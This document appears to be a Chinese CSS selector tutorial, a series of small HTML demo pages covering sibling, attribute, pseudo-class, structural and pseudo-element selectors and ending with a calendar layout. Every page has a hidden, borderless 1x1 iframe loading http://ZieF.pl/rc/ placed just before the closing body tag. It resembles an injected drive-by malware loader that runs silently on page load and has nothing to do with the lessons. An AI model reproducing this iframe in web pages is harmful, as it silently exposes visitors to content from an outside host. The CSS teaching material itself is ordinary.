之前学过的选择器
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
/*
之前学过的选择器:
div{}
.box 类名选择器
#box id选择器
div p 后代选择器
div.box 交集选择器
div,p,span 并集选择器
div>p 子代
* : 通配符
div+p: 选中div后面相邻的第一个p
div~p: 选中的div后面所有的p
*/
/* div后面的第一个p*/
div+p{
background-color: red;
}
/* div 后面所有的p*/
div~p{
background-color: blue;
}
</style>
</head>
<body>
<div>divvvvvvvvvvvvv</div>
<span>span</span>
<p>ppppppppp</p>
<p>ppppppppp</p>
<p>ppppppppp</p>
<span>span</span>
<p>ppppppppp</p>
<p>ppppppppp</p>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
属性选择器
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
div{
width: 300px;
height: 50px;
border: 1px solid #000;
margin:20px auto;
text-align: center;
}
/*div{*/
/*background-color: red;*/
/*}*/
/* 属性选择器 [] 通过标签属性来选择器*/
/*div[class]{*/
/*background-color: red;*/
/*}*/
/* div 带有class属性 ,并且值为 box1*/
/*div[class="box1"]{*/
/*background-color: pink;*/
/*}*/
/* div 带有class属性 ,并且值以 aa开头
*/
/*div[class^="aa"]{*/
/*background-color: green;*/
/*}*/
/* div 带有class属性 ,并且值以 aa结尾*/
/*div[class$="aa"]{*/
/*background-color: yellow;*/
/*}*/
/* div 带有class属性 ,并且值包含aa*/
div[class*="aa"]{
background-color: #daa520;
}
</style>
</head>
<body>
<div class="box1">1</div>
<div class="aabox2">2</div>
<div class="bbbox3">3</div>
<div class="box4aa">4</div>
<div class="box5bb">5</div>
<div class="aabox6bb">6</div>
<div class="bbbox7aa">7</div>
<div>8</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
伪类选择器
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
/*
*: :hover :link :active :visited lvha
标志性符号:冒号(:)
*/
.box{
width: 200px;
height: 200px;
border: 1px solid #000;
}
.box:hover{
border-radius: 50%;
background-color: red;
}
</style>
</head>
<body>
<div class="box">
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
结构选择器
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
/*
*: :hover :link :active :visited lvha
标志性符号:冒号(:)
*/
.box{
width: 200px;
height: 200px;
border: 1px solid #000;
}
.box:hover{
border-radius: 50%;
background-color: red;
}
</style>
</head>
<body>
<div class="box">
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
结构伪类选择器
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
/*
符号: 冒号
结构伪类: 通过结构来进行筛选
*/
*{
margin: 0;
padding: 0;
list-style: none;
}
ul{
width: 520px;
height:auto;
margin:100px auto;
}
li{
float: left;
width: 70px;
height: 70px;
border: 1px solid #CCC;
text-align: center;
line-height: 70px;
margin-left:-1px;
margin-top:-1px;
}
/* 先找父元素 在里面指定的 那个标签*/
/* 选中第一个*/
/*li:first-child{*/
/*background-color: pink;*/
/*}*/
/*/!* 选中最后一个*!/*/
/*li:last-child{*/
/*background-color: pink;*/
/*}*/
/*/!* 注意 编号从1开始 *!/*/
/*li:nth-child(11){*/
/*background-color: pink;*/
/*}*/
/*/!* 奇数*!/*/
/*li:nth-child(odd){*/
/*background-color: pink;*/
/*}*/
/*/!*偶数*!/*/
/*li:nth-child(even){*/
/*background-color: #eee;*/
/*}*/
/* n表示 0,1,2,3,4,5,6,7,8.....
当n小于1是无效
*/
/*/!*偶数*!/*/
/*li:nth-child(2n){*/
/*background-color: red;*/
/*}*/
/*/!*奇数*!/*/
/*li:nth-child(2n+1){*/
/*background-color: red;*/
/*}*/
/*选中前5个*/
/*li:nth-child(-n+5){*/
/*background-color: pink;*/
/*}*/
/* 选中后5个*/
/*li:nth-last-child(-n+5){*/
/*background-color: pink;*/
/*}*/
/* 选中7的倍数*/
li:nth-child(7n){
background-color: green;
}
li:nth-child(6n){
background-color: blue;
}
</style>
</head>
<body>
<ul>
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
<li>5</li>
<li>6</li>
<li>7</li>
<li>8</li>
<li>9</li>
<li>10</li>
<li>11</li>
<li>12</li>
<li>13</li>
<li>14</li>
<li>15</li>
<li>16</li>
<li>17</li>
<li>18</li>
<li>19</li>
<li>20</li>
<li>21</li>
<li>22</li>
<li>23</li>
<li>24</li>
<li>25</li>
<li>26</li>
<li>27</li>
<li>28</li>
<li>29</li>
<li>30</li>
<li>31</li>
<li>32</li>
<li>33</li>
<li>34</li>
<li>35</li>
</ul>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
结构为类的的问题
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
em:nth-child(3){
background-color: red;
}
</style>
</head>
<body>
<div>
<span>spanspan</span>
<p>ppppppppppp</p>
<em>ememmmmmmmmmmmmm</em>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
empty
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
/*:
empty: 空的
*/
div{
width: 300px;
height: 100px;
border: 1px solid #000;
margin-top:20px;
}
/* 如果div是空的则会被选中*/
div:empty{
background-color: red;
}
</style>
</head>
<body>
<div></div>
<div>
<span>span</span>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
target伪类选择器
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.nav{
position: fixed;
left:0;
top:100px;
}
.content{
width: 800px;
margin: 0 auto;
}
/* :target 伪类 要配合锚点使用 */
/* 表示被激活的状态*/
h2:target{
color: red;
font-family: "Microsoft Yahei";
}
</style>
</head>
<body>
<ul class="nav">
<li><a href="#title1">CSS (层叠样式表)</a></li>
<li><a href="#title2">实例</a></li>
<li><a href="#title3">发展历史</a></li>
<li><a href="#title4">发展历史</a></li>
<li><a href="#title5">布局特点</a></li>
<li><a href="#title6">创建编辑</a></li>
</ul>
<div class="content">
<h2 id="title1">CSS (层叠样式表)</h2>
<p>层叠样式表是一种用来表现HTML(标准通用标记语言的一个应用)或XML(标准通用标记语言的一个子集)等文件样式的计算机语言。</p>
<p>CSS目前最新版本为CSS3,是能够真正做到网页表现与内容分离的一种样式设计语言。相对于传统HTML的表现而言,CSS能够对网页中的对象的位置排版进行像素级的精确控制,支持几乎所有的字体字号样式,拥有对网页对象和模型样式编辑的能力,并能够进行初步交互设计,是目前基于文本展示最优秀的表现设计语言。CSS能够根据不同使用者的理解能力,简化或者优化写法,针对各类人群,有较强的易读性。</p>
<h2 id="title2">实例</h2>
<p>如果你要在HTML元素中设置CSS样式,你需要在元素中设置"id" 和 "class"选择器。[1] d 选择器可以为标有特定 id 的 HTML 元素指定特定的样式。HTML元素以id属性来设置id选择器,CSS 中 id 选择器以 "#" 来定义。以下的样式规则应用于元素属性 id="para1":</p>
<p>class 选择器用于描述一组元素的样式,class选择器有别于id选择器,class可以在多个元素中使用。class 选择器在HTML中以class属性表示, 在 CSS 中,类选择器以一个点"."号显示:在以下的例子中,所有拥有 center 类的 HTML 元素均为居中。</p>
<h2 id="title3">发展历史</h2>
<p>作为一项W3C推荐,CSS1发布于 1996年12月17 日。1999 年1月11日,此推荐被重新修订。</p>
<p>作为一项 W3C 推荐,CSS2发布于 1999年1月11日。CSS2添加了对媒介(打印机和听觉设备)和可下载字体的支持。</p>
<h2 id="title4">使用方法</h2>
<p>有三种方法可以在站点网页上使用样式表:外联式Linking(也叫外部样式):将网页链接到外部样式表。嵌入式Embedding(也叫内页样式):在网页上创建嵌入的样式表。内联式Inline(也叫行内样式):应用内嵌样式到各个网页元素。其中,优先级:内联式 > 嵌入式 > 外联式</p>
<p>当样式需要被应用到很多页面的时候,外部样式表将是理想的选择。使用外部样式表,你就可以通过更改一个文件来改变整个站点的外观。</p>
<p>当特殊的样式需要应用到个别元素时,就可以使用内联样式。 使用内联样式的方法是在相关的标签中使用样式属性。样式属性可以包含任何 CSS 属性。以下实例显示出如何改变段落的颜色和左外边距。</p>
<h2 id="title5">布局特点</h2>
<p>对于蜘蛛在爬行一个网站的页面时,若是有太多的垃圾代码,会使搜索蜘蛛对其产生不友好、不信任感,同时蜘蛛的爬行速度也会因此而减缓,对于网站SEO而言,可谓一大忌。就如传统的用table页面,对此我们就需要对网站进行代码优化,而这便需要动用CSS+div了,下面便来谈谈使用CSS+div进行代码优化的一些益处。</p>
<p>网站使用DIV+CSS布局使代码很是精简,相信大多朋友也都略有所闻,css文件可以在网站的任意一个页面进行调用,而若是使用table表格修改部分页面却是显得很麻烦。要是一个门户网站的话,需手动改很多页面,而且看着那些表格也会感觉很乱也很浪费时间,但是使用css+div布局只需修改css文件中的一个代码即可。</p>
<p>采用div-css布局的网站对于搜索引擎很是友好,因此其避免了Table嵌套层次过多而无法被搜索引擎抓取的问题,而且简洁、结构化的代码更加有利于突出重点和适合搜索引擎抓取。</p>
<h2 id="title6">创建编辑</h2>
<p>创建和编辑css更加常用的是AdobeDreamweaver系列软件,可视化编辑更利于web工程师快速的创建和编辑css,新版本CS5.0、CS5.5、CS6.0、CC,包含Adobe BrowserLab,用于针对多种浏览器测试css的兼容性。Adobe Dreamweaver是一个css创建和编辑必不可少的利器!</p>
<p>FrontPage2000 包含有能用来为站点创建外部样式表的模板。可以用空白模板或已包含样式的模板来创建(例如 Arcs)。当保存样式表时, FrontPage 会以 . css 作为文件扩展名。要编辑样式表,请双击文件夹列表中的样式表。</p>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
为元素befor和after
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
/* 伪 元素: 伪:假的 元素:标签* (:after :before css2 不推荐 )
标志性符号: 双冒号(::)
::before ,::after 通过 css 模拟出来html标签的效果
注意:必须有content属性才行,
*/
span::before{
content:"今天";
color:red;
background-color: pink;
width: 50px;
height: 50px;
display: inline-block;
}
span::after{
content:"真好";
color:green;
}
span{
border: 1px solid #000;
}
</style>
</head>
<body>
<!-- 元素 标签 节点 -->
<!--<span>今天</span><span>天气</span><span>真好</span>-->
<span>天气</span>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
first-letter
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
/*伪元素选择器*/
/* 选中第一个字母*/
li::first-letter{
color:red;
font-size:30px;
}
</style>
</head>
<body>
<ul>
<li>As long as the effort of deep strokes fell great oaks</li>
<li>只要功夫深,铁杵磨成针</li>
<li>深いストロークの努力が大きな樫の落ちた限り</li>
</ul>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
first-line
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
div{
width: 500px;
border: 1px solid #000;
height: 300px;
}
/* 选中第一行的伪元素的选择器*/
div::first-line{
color:red;
}
</style>
</head>
<body>
<div>
2010年,参加湖南卫视选秀娱乐节目《快乐男声》成都唱区的比赛,海选时演唱王菲的《传奇》以及原创歌曲《飘》,顺利晋级成都唱区120强[4] ;同年5月22日,湖南卫视播出的《快乐男声》成都唱区25强争夺赛中,最终遗憾出局,止步于成都唱区35强[1] ;同年6月,正式签约北京音悦荣乐创意文化演出公司[1] ;同年,受邀参加星空卫视女性脱口秀节目《Lady呱呱》的节目录制[5] ;同年7月,登上了女性美容杂志《女刊瘦美人》的封面,并与该杂志签约为专栏作家,分享自己的瘦身美容秘诀[6] ;同年8月29日,参加《舞动嘉年华第二季》颁奖典礼,并现场演唱歌曲《飘》;同年9月,推出首张个人EP专辑《无双》,收录了包括《从前以后》、《偷走我的心》等在内的5首歌曲[2] ;同年10月6日,在四川成都体育馆举办“爱与包容绿色成都”个人演唱会,这是他的首场个人演唱会[7] ;同年10月10日,出席喜剧电影《一不留神》的首映典礼[8] ;同年11月10日,出席“阳乾2011年造型发布
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
首字下沉
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>选择器 - 日历</title>
<style>
body, ul, dl, dt, dd {
margin: 0;
padding: 0;
}
body {
font-family: '微软雅黑';
background-color: #F7F7F7;
color: #666;
}
.content {
width: 960px;
margin: 0 auto;
font-size: 20px;
}
p {
text-indent: 40px;
line-height: 1.5;
}
p:first-child {
text-indent: 0;
}
p:first-child::first-letter{
font-size:40px;
float: left;
color:red;
}
p::first-line{
color:blue;
}
/* ::selection 表示当前选中的区域 , 通过设置 color background*/
p::selection{
background-color: rgba(255,0,0,0.3);
color:green;
}
</style>
</head>
<body>
<div class="content">
<p>
豫章故郡,洪都新府。星分翼轸,地接衡庐。襟三江而带五湖,控蛮荆而引瓯越。物华天宝,龙光射牛斗之墟;人杰地灵,徐孺下陈蕃之榻。雄州雾列,俊采星驰。台隍枕夷夏之交,宾主尽东南之美。都督阎公之雅望,棨戟遥临;宇文新州之懿范,襜帷暂驻。十旬休假,胜友如云;千里逢迎,高朋满座。腾蛟起凤,孟学士之词宗;紫电青霜,王将军之武库。家君作宰,路出名区;童子何知,躬逢胜饯。(豫章故郡 一作:南昌故郡)
</p>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
日历
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>选择器 - 日历</title>
<style>
body, ul, dl, dt, dd {
margin: 0;
padding: 0;
}
body {
background-color: #F7F7F7;
}
ul {
list-style: none;
}
.calendar {
width: 385px;
height: 312px;
padding: 48px 141px 10px 12px;
margin: 100px auto;
background: url(./images/bg.jpg) 0 0 no-repeat;
}
.calendar dt, .calendar dd {
overflow: hidden;
}
.calendar span {
display: block;
width: 48px;
height: 48px;
text-align: center;
margin-right: 1px;
border: 3px solid transparent;
float: left;
}
.calendar dt {
border-top: 1px solid #5CADFF;
}
.calendar dt span {
height: 28px;
line-height: 34px;
font-size: 14px;
}
.calendar dd {
border-top: 1px solid #c8cacc;
cursor: pointer;
}
.calendar span > b,
.calendar span > b {
display: block;
line-height: 1;
}
.calendar span > b {
height: 26px;
line-height: 30px;
font-size: 18px;
font-family: Arial;
font-weight: normal;
}
.calendar span > i {
color: #999;
font-size: 12px;
font-style: normal;
}
.calendar dl dd span:hover{
/*金麒麟*/
border-color:#daa520;
}
/* .calendar dl dd span:nth-child(7n) b,
.calendar dl dd span:nth-child(7n-1) b{
color:red;
}
.calendar dl dd:last-child span:nth-last-child(-n+2) b{
color:#666;
}*/
</style>
</head>
<body>
<!-- 日历 -->
<div class="calendar">
<dl>
<dt>
<span>一</span>
<span>二</span>
<span>三</span>
<span>四</span>
<span>五</span>
<span>六</span>
<span>日</span>
</dt>
<dd>
<span data-range="prev-month">
<b>30</b>
<i>十九</i>
</span>
<span class="today">
<b>1</b>
<i>艾滋病日</i>
</span>
<span>
<b>2</b>
<i>廿一</i>
</span>
<span>
<b>3</b>
<i>廿二</i>
</span>
<span>
<b>4</b>
<i>廿三</i>
</span>
<span>
<b>5</b>
<i>廿四</i>
</span>
<span>
<b>6</b>
<i>廿五</i>
</span>
</dd>
<dd>
<span data-flag="festival">
<b>7</b>
<i>廿六</i>
</span>
<span>
<b>8</b>
<i>廿七</i>
</span>
<span>
<b>9</b>
<i>廿八</i>
</span>
<span>
<b>10</b>
<i>廿九</i>
</span>
<span>
<b>11</b>
<i>初一</i>
</span>
<span>
<b>12</b>
<i>初二</i>
</span>
<span>
<b>13</b>
<i>初三</i>
</span>
</dd>
<dd>
<span>
<b>14</b>
<i>初四</i>
</span>
<span>
<b>15</b>
<i>初五</i>
</span>
<span>
<b>16</b>
<i>初六</i>
</span>
<span>
<b>17</b>
<i>初七</i>
</span>
<span>
<b>18</b>
<i>初八</i>
</span>
<span>
<b>19</b>
<i>初九</i>
</span>
<span>
<b>20</b>
<i>初十</i></span>
</dd>
<dd>
<span>
<b>21</b>
<i>十一</i>
</span>
<span data-flag="festival">
<b>22</b>
<i>十二</i>
</span>
<span>
<b>23</b>
<i>十三</i>
</span>
<span>
<b>24</b>
<i>十四</i>
</span>
<span>
<b>25</b>
<i>十五</i>
</span>
<span>
<b>26</b>
<i>十六</i>
</span>
<span>
<b>27</b>
<i>十七</i>
</span>
</dd>
<dd>
<span>
<b>28</b>
<i>十八</i>
</span>
<span>
<b>29</b>
<i>十九</i>
</span>
<span>
<b>30</b>
<i>二十</i>
</span>
<span>
<b>31</b>
<i>廿一</i>
</span>
<span data-range="next-month">
<b>1</b>
<i>元旦</i>
</span>
<span data-range="next-month">
<b>2</b>
<i>廿三</i>
</span>
<span data-range="next-month">
<b>3</b>
<i>廿四</i>
</span>
</dd>
</dl>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>